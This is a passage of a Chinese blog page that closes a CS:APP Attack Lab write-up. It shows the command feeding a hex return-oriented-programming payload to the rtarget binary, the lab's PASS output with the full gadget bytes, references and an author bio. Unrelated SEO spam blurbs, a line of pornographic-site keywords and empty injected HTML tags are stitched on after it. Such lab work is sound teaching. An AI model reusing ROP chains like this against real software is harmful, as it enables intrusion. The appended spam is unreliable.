          # cat result5 | ./hex2raw | ./rtarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target rtargetPASS: Would have posted the following:        user id bovik        course  15213-f15        lab     attacklab        result  1:PASS:0xffffffff:rtarget:3:2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

          恭喜,當你走到這里的時候你已經墮入了魔道

          Reference

          • Computer Systems: A Programmer's Perspective, 3/E (CS:APP3e) (http://csapp.cs.cmu.edu/3e/labs.html)
          • 15-213: Intro to Computer Systems: Schedule for Fall 2015 (http://www.cs.cmu.edu/afs/cs/academic/class/15213-f15/www/schedule.html)
          • Linux and ASLR: kernel/randomize_va_space (https://linux-audit.com/linux-aslr-and-kernelrandomize_va_space-setting/)
          • cs:app 3.38 bufbomb (http://dev.poetpalace.org/?p=39)

          關于作者

          不怎么務正業的程序員,BUG制造者、CPU0殺手。從事過開發、運維、SRE、技術支持等多個崗位。原Oracle系統架構和性能服務團隊成員,目前在騰訊從事運營系統開發。

          網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...

          在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...

          在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...

          巢湖四中咋樣?巢湖四中的校園氛圍很好。最重要的是,四中這幾年一直在進步,升學率明顯提高。嗯,老師們...那個 具體來說??偟膩碚f,老師是通情達理的。;我遇不到那種無情的老師。巢湖市有哪幾所重點高中?巢湖市分為四縣一區。我不 對四個縣不太了解,除了這個縣最好的高中:——廬江中學,廬江縣,含山中學,——,含山縣,——無為一中,無為縣,——和縣一中。對于居巢區,我比較了解:巢湖一中是無可爭議的最好,也是...

          vivo手機電池容量怎么找?這個可以到VIVO官網自助查詢,具體方法::一、簡單的方法建議使用百度找不到VIVO手機官網,然后然后點擊。二、進入到VIVO手機官網以后,找到要網站查詢的手機型號,這里以X23手機為例,進入頁面。三、直接進入以后中,選擇“參數規格”選項。四、進入到以后就這個可以查詢到手機電池的容量了。vivo手機在哪里可以查電池多少毫安?vivo手機又不能在手機上查找到手機的電池容量...

          太原到平遙古城?您好,從太原開車到平遙古城大概需要100-110公里,具體看路線和實際路況。謝謝你。平遙古城是一座具有2700多年歷史的文化名城,始建于西周宣王時期(公元前827-782年)。子明洪武三年(公元1370年)重建后,基本保持了原有格局。與第二批國家歷史文化名城四川閬中、云南麗江、安徽歙縣并稱為“保存最完好的四大古城”,也是唯一一個以古城整體成功申報世界文化遺產的古縣城。進入古城不需要...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>